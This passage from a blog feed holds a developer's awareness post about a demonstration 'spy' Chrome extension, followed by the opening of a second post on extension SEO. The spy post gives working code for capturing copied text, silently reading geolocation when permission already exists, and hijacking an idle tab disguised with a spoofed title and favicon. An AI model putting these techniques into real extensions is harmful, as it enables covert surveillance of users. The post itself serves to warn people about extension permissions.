observer.observe(document.body, { subtree: true, childList: true });</code></pre><p><em>content-script.js</em></p><h1>Clipboard Capturing</h1><p>This one is a bit trickier. <code>navigator.clipboard.read()</code> or any other Clipboard API methods will prompt the user with a permissions dialog, so these are off-limits. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oSbY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oSbY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 424w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 848w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 1272w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oSbY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png" width="1286" height="738" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:738,&quot;width&quot;:1286,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:224050,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oSbY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 424w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 848w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 1272w, https://substackcdn.com/image/fetch/$s_!oSbY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59d6015e-fd8d-4550-a954-2220f293d332_1286x738.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Using <code>document.execCommand("paste")</code> to dump the clipboard into a hidden input is unreliable, so we&#8217;re stuck grabbing the selected text out of the page.</p><pre><code>document.addEventListener("copy", () =&gt; {
  const selected = window.getSelection()?.toString();

  // Capture selected text on copy events
});</code></pre><p><em>content-script.js</em></p><p>(Note: I&#8217;m not totally satisfied with this, but good enough for now.)</p><h1>Capturing Geolocation</h1><p>Geolocation capturing is the trickiest one due to Chrome&#8217;s restrictions on when and how it an be captured. Adding the <code>geolocation</code> permission only allows us to capture the location inside <em>an extension page</em>, not from content scripts. If the popup is opened frequently enough, this might be sufficient.</p><pre><code>navigator.geolocation.getCurrentPosition(
  (position) =&gt; {
    // Capture position
  },
  (e) =&gt; {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);</code></pre><p> <em>popup.js</em></p><p>If we need <em>more</em> geolocation data, we&#8217;ll need to do it from a content script. We need to prevent the browser from generating a permission dialog, so first we check if the page already has the geolocation permission. If it does, we can silently request the location.</p><pre><code>navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) =&gt; {
    if (state === "granted") {
      captureGeolocation();
    }
  });</code></pre><p><em>content-script.js</em></p><h1>Stealth Tab</h1><p>If you&#8217;re anything like me, you have a ton of tabs open. Most tabs sit there idly for long stretches of time, and Chrome eagerly unmounts idle tabs to free up system resources.</p><p>Suppose we needed to open an extension page in a tab without the user noticing. Maybe we need to perform some additional page-level processing with the WebExtensions API. Opening and closing a new tab would cause a lot of visual movement in the tab bar, this is too suspicious. Instead, let&#8217;s reuse an existing tab and make it <em>appear</em> to be the old tab. </p><p>This could work as follows:</p><ol><li><p>Find a candidate tab that the user isn&#8217;t paying attention to.</p></li><li><p>Record its URL, favicon URL, and title.</p></li><li><p>Replace that tab with our extension page, and immediately replace the favicon and title so it resembles the original tab.</p></li><li><p>Do bad things.</p></li><li><p>Once the page finishes, or once the user opens the tab, navigate back to the original URL.</p></li></ol><p>Let&#8217;s build a proof of concept. Here&#8217;s an example background script to open the stealth tab:</p><pre><code>export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Don't use the tab the user is looking at
    active: false,
    // Don't use pinned tabs, they're probably used frequently
    pinned: false,
    // Don't use a tab generating audio
    audible: false,
    // Don't use a tab until it is finished loading
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) =&gt; {
    // Must have url and id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Don't use extension pages
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // These values will be used to spoof the current page
    // and navigate back
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Open the stealth tab
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}</code></pre><p><em>background.js</em></p><p>And here&#8217;s our stealth tab script:</p><pre><code>
const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // User focused this tab, flee!
  window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () =&gt; useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();</code></pre><p><em>stealth-tab.js</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t0Wb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t0Wb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 424w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 848w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 1272w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t0Wb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png" width="782" height="324" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:324,&quot;width&quot;:782,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:74857,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!t0Wb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 424w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 848w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 1272w, https://substackcdn.com/image/fetch/$s_!t0Wb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2357fbff-093e-441f-bf95-9a27cb461ce2_782x324.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Nothing suspicious here!</p><h1>Publishing to the Chrome Web Store</h1><p>I&#8217;m kidding, of course. This extension would be laughed out of the review queue.</p><p>This extension is obviously a caricature of a malicious extension, but is it so crazy to think that a subset of this behavior could be used? When installing a Chrome extension that <em>seems</em> trustworthy (whatever that means), most users will ignore the permissions warning messages no matter how scary they are. Once you accept the permissions, you are at the extension&#8217;s mercy.</p><p>You might be thinking &#8220;Matt, surely this doesn&#8217;t apply to me! I&#8217;m a savvy tech guru who is careful, fastidious, and obsequious. Nobody could ever pull one over on me.&#8221;</p><p>In that case, my obsequious friend, answer these questions: </p><ul><li><p>Without looking, can you name more than half of the extensions you have installed right now?</p></li><li><p>Who maintains them? Is it the same entity that maintained it when you first installed? Are you sure?</p></li><li><p>Did you <em>really</em> scrutinize their permissions?</p></li></ul><h1>Try it out if you dare</h1><p>You can test out the Spy Extension here: <a href="https://github.com/msfrisbie/spy-extension">https://github.com/msfrisbie/spy-extension</a></p><p>I&#8217;ve added an options page so you can see all the plundered data the extension is able to suck out of your browser. I&#8217;m not going to post a screenshot; suffice to say, the contents of the page are a <em>tiny</em> bit compromising.</p><p>Nothing collected leaves your browser. Or does it? (No, it doesn&#8217;t)</p><div><hr></div><p><em>Matt Frisbie is the author of <a href="https://www.buildingbrowserextensions.com/">Building Browser Extensions</a></em> </p><p><em>You can reach me at <a href="https://www.mattfriz.com/">mattfriz.com</a></em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lhJ0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png" width="1456" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/adf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:603956,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p></p><h1></h1>]]></content:encoded></item><item><title><![CDATA[10 Things Every Chrome Extension Needs]]></title><description><![CDATA[Just getting started with building a Chrome extension? Make sure you've got these covered.]]></description><link>https://mattfrisbie.substack.com/p/10-things-every-chrome-extension-needs</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/10-things-every-chrome-extension-needs</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Sat, 07 Jan 2023 15:45:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hj3v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>1. An SEO-friendly name</strong></p><p>The extension name is a terrific opportunity for search engine optimization. Your extension's listing on the Chrome Web Store will rank very high if it contains the exact search phrase. The ranking <em>within</em> the Chrome Web Store itself will also greatly depend on keyword matches.</p><pre><code><code>{
  "name": "ChatGPT Assistant"
}</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hj3v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hj3v!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 424w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 848w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 1272w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hj3v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp" width="1456" height="1182" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1182,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ChatGPT Assistant SEO&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ChatGPT Assistant SEO" title="ChatGPT Assistant SEO" srcset="https://substackcdn.com/image/fetch/$s_!hj3v!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 424w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 848w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 1272w, https://substackcdn.com/image/fetch/$s_!hj3v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3a3c59a-fed6-4928-98df-6100aaba4093_1468x1192.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The "ChatGPT Assistant" extension ranks #1 for that exact search, even though there are a significant number of apps and GitHub repositories with similar names.</em></p><p><strong>2. An efficient description</strong></p><p>This is your change to describe in one sentence what the extension has to offer. It is also a secondary opportunity to include additional search keywords.</p><pre><code><code>{
  "description": "Use ChatGPT in search engines, to write emails, and on any website"
}</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xdcd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xdcd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 424w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 848w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1272w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp" width="1456" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Chrome Extension search results with description&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" 